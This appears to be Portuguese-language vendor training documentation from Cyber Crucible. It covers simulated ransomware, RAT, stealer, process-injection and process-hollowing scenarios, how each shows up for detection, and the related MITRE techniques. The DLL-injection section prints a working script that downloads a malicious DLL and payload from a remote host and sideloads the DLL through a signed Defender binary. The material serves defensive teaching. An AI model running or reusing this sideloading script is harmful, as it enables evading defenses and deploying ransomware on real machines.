Informações de Treinamento da Cyber Crucible

• Cenários
• Cenário de Treinamento - Injeção de DLL
• Cenário de Treinamento - Ransomware Vanilla
• Cenário de Treinamento - Ransomware Assinado
• Cenário de Treinamento - Enumeração de Dados
• Cenário de Treinamento - Injeção de Processo
• Cenário de Treinamento - Modificação de Memória
• Cenário de Treinamento - Roubo de Identidade
• Modificação de Memória
• Técnicas Mitre Abordadas
• Injeção de Processo
• Gestão de Licenças de Treinamento

Cenários

Cenário de Treinamento - Injeção de DLL

Nome do Grupo

Dados de Treinamento - Injeção de Dll (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware criptografada por meio de injeção de DLL em um MS Defender assinado. Uma DLL personalizada foi criada, da mesma forma que um invasor a criaria, que descriptografa um arquivo .log falso e o executa.

Muitas ferramentas de segurança simplesmente ignoram processos iniciados por um processo pai assinado, particularmente um antivírus assinado, e mais particularmente ainda o Defender. Os comandos do Defender não são apenas frequentemente permitidos, mas também costumam ser extremamente privilegiados. Aqui, o comando que é transformado em arma é uma atualização de assinatura, algo que não é apenas comum, mas seria ignorado em qualquer tipo de busca por malware. Aqui demonstramos que, mesmo com técnicas simples de "living off the land", um invasor pode executar cargas úteis privilegiadas ao preparar um script simples sem ferramentas de injeção personalizadas na máquina.

Aqui está o script exato executado na máquina da vítima. Observe como nada explicitamente malicioso está acontecendo; copiar o(s) executável(is) do defender para um diretório de preparação é feito apenas para destacar os arquivos C:\staging na análise de causa raiz.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Detalhando linha por linha:

1. Diretório de preparação criado

2. Defender copiado para o diretório de preparação

3. O mpclient.dll real é renomeado

4. Um arquivo de "log" criptografado e uma DLL maliciosa são baixados de um servidor remoto

5. O MpCmdRun real e assinado é executado com a tarefa de atualização de assinatura

Identificando isso

Começando pela resposta automatizada, os alarmes soariam em sua cabeça. Algum processo nunca antes visto, com um nome de GUID aleatório, foi executado e acionou o Cyber Crucible, e não assinado. No entanto, observe que o caminho aqui poderia facilmente ser algo com aparência um pouco menos assustadora. Foi intencionalmente deixado como C:\staging para destacá-lo.

O próximo passo imediato seria encontrar esse arquivo e descobrir como ele chegou lá. Provavelmente, ele foi excluído automaticamente, mas podemos consultar as criações de processos do Cyber Crucible para ver quem o executou em primeiro lugar.

Assim como descrito no cenário acima, um script powershell iniciou um executável do defender, que iniciou nosso processo assustador. A carga útil maliciosa então iniciou muitos processos filhos para realizar várias tarefas de preparação. A visibilidade sobre esses processos em segundo plano frequentemente fornece informações sobre arquivos criados no sistema, chaves de registro modificadas, atividade de propagação (worming), etc.

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para identificar o escopo dos comportamentos maliciosos. A execução do exe não assinado por si só parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender seriam simplesmente ignorados.

Documentação relevante

• Mitre T1543 - Criar ou modificar um processo do sistema pode disfarçar código malicioso como um processo do sistema normal e confiável, dificultando a detecção de malware.

• Mitre T1068 - Realizar escalonamento de privilégios por meio de vulnerabilidades de software pode permitir que código malicioso escape de restrições de permissão ou ambientes virtualizados.

• Mitre T1055-001 - A injeção de DLL pode ser usada para carregar código malicioso em um processo simplesmente instruindo o processo alvo a carregar uma nova DLL ou substituindo uma DLL legítima antes que ela seja carregada.

• Mitre T1059-001 - O PowerShell é frequentemente usado por malware do Windows para realizar a configuração do malware, como substituir arquivos legítimos por arquivos maliciosos.

Cenário de Treinamento - Ransomware Vanilla

Nome do Grupo

Dados de Treinamento - Ransomware Vanilla (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware "vanilla", em execução como administrador sem nenhum exploit. Isso simula o exemplo básico de um usuário baixando malware por meio de um link de phishing, USB malicioso, etc.

Embora este seja um método de execução muito simples, se a carga útil for um zero day, ela ainda passará despercebida por produtos de segurança baseados em assinatura, e poderá causar danos irreparáveis antes que produtos comportamentais baseados em nuvem consigam obter uma análise.

Identificando-o

Identificar este incidente é o mais fácil de todas as amostras. Assim que o nome de arquivo suspeito em um arquivo sem assinatura é percebido, isso já é um sinal de alerta imediato.

Para confirmar o método de execução, podemos analisar as criações de processos em torno do horário do incidente. O que vemos confirma que não houve um método de exploit complexo, nem mesmo um script! Assim como em outras amostras, as criações de processos filhos são interessantes, no entanto. Mesmo que o método de execução do próprio malware fosse óbvio, muitos processos em segundo plano são iniciados para desativar proteções e outras configurações do sistema.

Neste ponto, o ataque já foi contido pela Cyber Crucible, mas a análise dos processos relacionados é importante para determinar o escopo dos comportamentos maliciosos. A execução do exe não assinado, por si só, parece óbvia quando apresentada pela Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender simplesmente seriam ignorados.

Documentação relevante

• Mitre T1566 - O phishing pode ser usado para induzir um usuário a realizar uma ação que ele não teria feito de outra forma, como executar um script ou compartilhar uma senha.

• Mitre T1091 - O malware pode se replicar em mídia removível para que a próxima máquina a se conectar a ela possa executá-lo por meio de autorun ou vulnerabilidades de driver.

• Mitre T1204 - A execução pelo usuário, frequentemente obtida por meio de phishing, é a maneira mais simples de um malware começar a ser executado.

Cenário de Treinamento - Ransomware Assinado

Nome do Grupo

Dados de Treinamento - Ransomware Assinado (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware, em execução como administrador, e com uma assinatura personalizada. Este cenário não é muito diferente da amostra ‘vanilla’, mas utiliza um executável assinado.

Frequentemente, executáveis assinados são tratados como se estivessem verificados como benignos. Embora seja verdade que todo software certificado deveria ser assinado, esta não é uma relação bidirecional, e não devemos confiar em algo apenas porque está assinado. Infelizmente, às vezes esse erro é cometido.

Identificando isso

Além do fato de que este nome de certificado é um tanto estranho para fins de treinamento, como o Cyber Crucible sabe que não é confiável? O Cyber Crucible age com cautela e mantém uma lista (específica do grupo) de certificados confiáveis. Isso significa que podemos facilmente identificar certificados de teste de assinatura, bem como certificados oficiais de grandes ACs como a digicerts.

Podemos ver acima que, mesmo que o arquivo “321d0…” esteja assinado, ele ainda não é confiável. Como não há outras técnicas de ofuscação complexas usadas para implantar o ataque, sabemos exatamente de onde ele veio!

Para confirmar o método de execução, podemos analisar as criações de processos ao redor do horário do incidente. O que vemos confirma que não houve nenhum método de exploração complexo, nem mesmo um script! Assim como em outras amostras, as criações de processos filhos são interessantes. Embora o método de execução do próprio malware fosse óbvio, muitos processos em segundo plano são iniciados para desativar proteções e outras configurações do sistema.

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para determinar o escopo dos comportamentos maliciosos. A execução do exe não assinado, por si só, parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender simplesmente seriam ignorados.

Documentação relevante

• Mitre T1566 - O phishing pode ser usado para induzir um usuário a realizar uma ação que ele não teria feito de outra forma, como executar um script ou compartilhar uma senha.

• Mitre T1091 - O malware pode se replicar em mídia removível para que a próxima máquina conectada possa executá-lo por meio de autorun ou vulnerabilidades de driver.

• Mitre T1204 - A execução pelo usuário, frequentemente obtida por meio de phishing, é a forma mais simples de o malware iniciar a execução.

• Mitre T1587-002 - Certificados de assinatura de código são uma forma de uma autoridade certificar o código de uma aplicação. O malware pode gerar um certificado que não vem de nenhuma autoridade certificadora, mas pode confundir um usuário levando-o a pensar que é legítimo.

• Mitre T1587-003 - Certificados SSL são usados para garantir que a transmissão de dados seja confiável. Em um ambiente mal configurado, o malware pode conseguir instalar seu próprio certificado SSL para facilitar ataques do tipo man in the middle.

Cenário de Treinamento - Enumeração de Dados

Nome do Grupo

Dados de Treinamento - Exfiltração via RAT (Quasar)

Cenário

Neste cenário de treinamento, executaremos um RAT na máquina vítima e o utilizaremos para enumerar os dados no disco, com o objetivo de exfiltrar arquivos.

Embora este não seja um ataque de ransomware, os comportamentos utilizados pelo RAT se enquadram no conjunto de comportamentos de extorsão de dados que a Cyber Crucible detecta. A resposta ao incidente, e os dados relacionados, são muito semelhantes aos da resposta a uma carga útil de ransomware, pois para a Cyber Crucible, é tudo a mesma coisa!

Identificando

Este executável parece um pouco estranho, mas está no system32 e está acionando respostas repetidas. É necessária uma investigação mais aprofundada para descobrir o que aconteceu aqui. Podemos começar procurando por caminhos filhos relacionados ao caminho de resposta.

Aqui obtemos mais algumas evidências para a história. Um usuário executou o client-build.exe a partir da área de trabalho, que é o dropper do RAT. Em seguida, parece que ele eleva privilégios por meio de um svchost. Ainda há algumas peças faltando no quebra-cabeça, no entanto. Como sabemos que isso é um RAT e não apenas algo interagindo com o svchost?

Isso abre muito mais visibilidade! Não só sabemos com certeza que alguma atividade suspeita está ocorrendo, e quais caminhos estão relacionados, mas também sabemos que uma persistência está sendo criada. E ainda vemos que estamos lidando com o Quasar, um RAT bem conhecido.

O Quasar é um RAT sofisticado, e realiza a maior parte de seu comportamento dentro de seu próprio executável, optando por trazer suas próprias bibliotecas compiladas estaticamente em vez de usar os utilitários padrão do Windows para muitas coisas. Mas mesmo o Quasar é flagrado usando ferramentas como o schtasks.

Documentação relevante

• Mitre T1566 - O phishing pode ser usado para enganar um usuário e fazê-lo realizar uma ação que, de outra forma, não teria realizado, como executar um script ou compartilhar uma senha.

• Mitre T1091 - O malware pode se replicar em mídia removível para que a próxima máquina conectada a ela possa executá-lo por meio de autorun ou vulnerabilidades de driver.

• Mitre T1204 - A execução pelo usuário, frequentemente obtida por meio de phishing, é a maneira mais simples de o malware iniciar sua execução.

• Mitre T1547 - O malware pode instruir o Windows a executar programas maliciosos na inicialização ou quando um usuário faz login.

• Mitre T1037 - O malware pode instruir o Windows a executar scripts maliciosos na inicialização ou quando um usuário faz login.

• Mitre T1543 - Criar ou modificar um processo de sistema pode disfarçar código malicioso como um processo de sistema normal e confiável, evitando a detecção de malware.

Cenário de Treinamento - Injeção de Processo

Nome do Grupo

Dados de Treinamento - Injeção de Processo (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware por meio de injeção de processo em um Svchost.exe já em execução. O Svchost em questão é uma operação normal do sistema, em execução há muito tempo, assinado e sob a conta de usuário LocalSystem.

Como o Svchost é ‘real’, ele é frequentemente ignorado. Os administradores sabem que muitas instâncias do Svchost são executadas, e desde que os argumentos do programa pareçam corretos, ele é tratado como uma “caixa preta” e deixado de lado. Esta é uma brecha óbvia, e frequentemente explorada, para que hackers tirem vantagem. Combinada com uma carga útil de dia zero, essa abordagem é muito bem-sucedida em ofuscar ataques de ransomware.

Identificando-o

A situação em torno dessa resposta automatizada não é diretamente aparente à primeira vista. Os argumentos de linha de comando parecem válidos para o Svchost, e o executável é assinado pela Microsoft.

O fato de haver uma thread remota não confiável é suspeito, mas requer mais investigação. Muitas threads remotas acontecem em um sistema, mas a maioria permanece “confiável”, pois são usadas para comunicação normal entre processos, compartilhamento de dados, etc.

Quando uma thread remota é criada em um processo de forma anormal, e é marcada como não confiável, é onde precisamos examinar com mais rigor.

Para filtrar as muitas injeções de processo que ocorrem em um sistema a qualquer momento, podemos nos referir tanto ao horário do incidente quanto ao pid do processo sinalizado. Normalmente, começaremos com alguns pids de respostas suspeitas e subiremos na cadeia de injeções e criações para obter a história completa.

Já sabemos que ninguém deveria estar injetando no Svchost dessa maneira, mas definitivamente não este processo! A partir daqui, podemos tratar esse processo como se fosse “malware.exe” e ver quem o executou, já que alguém deve tê-lo feito.

Como houve duas criações de processo com pid 9168, e elas são muito diferentes, podemos restringir com base no timestamp e/ou no caminho do processo filho, e ver que foi criado por um explorer.exe. Isso significa que alguém executou manualmente o processo injetor, e não pode ser uma coincidência de comportamento do Svchost sinalizado incorretamente.

Documentação relevante

• Injeção de Processo

• Mitre T1559 - A comunicação entre processos pode fornecer controle sobre o processo alvo a partir do injetor uma vez que a injeção esteja concluída.

• Mitre T1106 - As APIs nativas são frequentemente o acesso mais próximo à funcionalidade do sistema operacional para acessar arquivos, executar processos e mais.

• Mitre T1569 - Injetar em um serviço do sistema como um svchost existente pode disfarçar código malicioso para ser reportado como sendo executado a partir de um processo bem conhecido e confiável.

• Mitre T1055 - Injeção de processo, geralmente usada para executar código malicioso em um processo alvo enquanto permite que o processo original continue.

Cenário de Treinamento - Modificação de Memória

Nome do Grupo

Dados de Treinamento - Process Hollowing SQL (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware por meio de process hollowing, uma técnica de injeção/evasão em que um processo é iniciado e tem seu código executável modificado para realizar algum outro comportamento.

Técnicas em memória estão entre as mais difíceis de detectar, e ainda mais difíceis de ter uma resposta automatizada, portanto muitas vezes são ignoradas. A memória é, por definição, volátil e está sempre mudando. Identificar alterações na memória de um processo requer identificar as seções relevantes e avaliá-las em diferentes momentos do ciclo de vida de um processo, para verificar se houve adulteração.

Identificando

As respostas de memória modificada são, de longe, as mais difíceis de inspecionar. Como a memória é efêmera, ela é tratada como uma "caixa preta" e frequentemente mantida à distância. A boa notícia é que, a partir do Cyber Crucible 4.4.1.3, agora temos a capacidade de coletar automaticamente telemetria de amostras de memória modificadas, identificando quais intervalos de memória foram modificados e as alterações exatas realizadas neles.

Esse tipo de análise, no entanto, é muito trabalhoso de realizar, então um bom primeiro passo é verificar os processos relacionados no painel para ter uma ideia do comportamento associado. Como o processo em questão aqui é um SQLCMD.exe assinado, deve ficar evidente rapidamente se se trata de um processo SQL benigno ou de algo pior.

Até agora, tudo bem, apenas processos SQL normais, nada necessariamente suspeito ou não. No entanto, nunca gostamos de ver CMDs envolvidos em respostas automatizadas. Vamos investigar um pouco mais.

E aí está! Podemos continuar rolando a tela e ver cada vez mais comportamentos como esses. O SQLCMD.exe está executando todo tipo de comando para desativar serviços, alterar configurações e tudo o que um ransomware faria de forma preventiva.

Aqui podemos ter uma pequena noção do que nos espera quando começamos a nos aprofundar e analisar as diferenças de memória. A maior parte das técnicas sofisticadas o suficiente para realizar malware totalmente em memória também ofuscará seu código na memória. Isso torna a análise extremamente difícil, mas o acesso à telemetria adicional já se mostrou inestimável para a identificação de incidentes, bem como para o ajuste de comportamento

Documentação relevante

• Injeção de Processo

• Mitre T1559 - A comunicação entre processos (Inter-Process Communication) pode fornecer controle sobre o processo alvo a partir do injetor uma vez concluída a injeção.

• Mitre T1106 - As APIs nativas são frequentemente o acesso mais próximo à funcionalidade do sistema operacional para acessar arquivos, executar processos e mais.

• Mitre T1569 - Injetar em um serviço do sistema, como um svchost existente, pode disfarçar código malicioso para que seja reportado como sendo executado a partir de um processo conhecido e confiável.

• Mitre T1055 - Injeção de processo, geralmente usada para executar código malicioso em um processo alvo, permitindo que o processo original continue.

• Mitre T1543 - Criar ou modificar um processo do sistema pode disfarçar código malicioso como um processo do sistema normal e confiável, evitando a detecção por malware.

Cenário de Treinamento - Roubo de Identidade

Nome do Grupo

Dados de Treinamento - Roubo de Identidade (Redline)

Cenário

Neste cenário de treinamento, executaremos um malware do tipo “stealer” para realizar a primeira etapa de um ataque, o roubo de credenciais. Diferente do cenário de RAT, este não utiliza os mesmos comportamentos que o ransomware. Em vez disso, faz parte das crescentes capacidades de proteção de identidade da Cyber Crucible.

Frequentemente, antes mesmo de ocorrer uma extorsão, os primeiros passos que um atacante realiza são se propagar pela rede e obter acesso ao maior número possível de credenciais. Em alguns casos, trata-se de uma combinação de nome de usuário/senha do AD; em outros, são chaves de API capturadas de sessões de navegador.

Identificando

Por ora, vamos analisar como o acesso anormal se apresenta ao administrador.

Os acessos a dados de identidade são muito claros e objetivos: se os administradores não reconhecem um programa, ele não deveria estar acessando esses dados! Isso já se destaca imediatamente como algo suspeito.

Qual é o outro lado disso que o atacante vê? Texto puro!

Essas respostas não são como as respostas de eventos tradicionais de extorsão de dados, portanto não são ações de suspensão automática. Em vez disso, são mais semelhantes a injeções de processo, nas quais a Cyber Crucible não interferiu. À medida que nossas análises têm evoluído, aprendemos como é o acesso “normal” a repositórios de identidade para diversos tipos de aplicações. Até 2023, habilitaremos nosso recurso de proteção, que restringirá o acesso, em nível de kernel, a diversas formas de bancos de dados de identidade, permitindo o acesso apenas ao software associado.

Documentação relevante

• Injeção de Processo

• Mitre T1559 - A comunicação entre processos (Inter-Process communication) pode fornecer controle sobre o processo de destino a partir do injetor, uma vez concluída a injeção.

• Mitre T1106 - As APIs nativas costumam ser o acesso mais próximo à funcionalidade do sistema operacional para acessar arquivos, executar processos e muito mais.

• Mitre T1569 - Injetar em um serviço de sistema, como um svchost existente, pode disfarçar o código malicioso para que seja reportado como sendo executado a partir de um processo bem conhecido e confiável.

• Mitre T1055 - Injeção de processo, geralmente usada para executar código malicioso em um processo de destino, permitindo que o processo original continue em execução.

• Mitre T1543 - Criar ou modificar um processo do sistema pode disfarçar o código malicioso como um processo de sistema normal e confiável, evitando a detecção por malware.

• Mitre T1555 - Credenciais armazenadas em gerenciadores ou navegadores não criptografados podem ser usadas para obter acesso a dados privilegiados.

• Mitre T1212 - As credenciais podem ser roubadas ao explorar softwares vulneráveis que não criptografam as credenciais inseridas por um usuário.

Modificação de Memória

O que é modificação de memória?

Modificação de memória, como a Cyber Crucible utiliza o termo, ocorre quando as seções executáveis da memória de um processo foram modificadas de formas anormais. A execução normal de um determinado processo, sem interferência externa, não desencadeia essas modificações – elas são distintas das operações normais de "memória volátil" dentro de um processo.

Uma técnica comum de modificação de memória é o process hollowing, na qual um atacante inicia um processo vítima na máquina, geralmente iniciando em estado suspenso, e altera o código executável para efetivamente executar o código de outro programa.

Táticas relevantes do MITRE:

Quais são as consequências?

As modificações de memória podem ter consequências muito semelhantes às de outras técnicas de injeção de processo, mas são ainda mais evasivas. Como não há criação de threads remotas nem chamadas a funções externas, muitas vezes é muito difícil detectar modificações de memória, e mais difícil ainda atribuí-las a um processo específico.

Um processo que teve sua memória modificada pode ser forçado a realizar atividades maliciosas que, de outra forma, não realizaria. Nenhum processo com memória executável adulterada deve ser considerado confiável, pois isso não é uma ocorrência normal em comunicações ou interações entre processos.

O que a Cyber Crucible faz?

A Cyber Crucible monitora o estado da memória de um processo ao longo de todo o seu ciclo de vida. Se a memória for considerada adulterada, o processo é sinalizado e considerado não confiável. No momento em que ocorre um evento de extorsão, a memória é capturada em snapshot para ser fornecida durante possíveis investigações de resposta a incidentes.

O snapshot de memória contém a memória executável original, não adulterada, e quaisquer "diffs", com seus deslocamentos (offsets) dentro da memória do processo. A análise desses dumps de memória pode ser desafiadora, mas pode fornecer evidências sólidas sobre os comportamentos do código malicioso.

Como identificar?

A memória modificada é mais difícil e mais efêmera de rastrear do que outros métodos de injeção de processo. Em vez disso, fornecemos um valor booleano rápido para indicar que a modificação ocorreu, e, a partir daí, a análise dos diffs reais de memória requer uma investigação mais aprofundada.

Coletar a memória é apenas o primeiro passo; mesmo após a desmontagem, o código pode estar muito ofuscado e ser difícil de ler. A boa notícia é que temos muito com que trabalhar nessa análise quando dispomos da memória original, dos metadados associados, do executável original e das próprias instruções do executável modificado.

1. sim, 2.

Cenários de exemplo:

Técnicas Mitre Abordadas

Injeção de Processo

Gestão de Licenças de Treinamento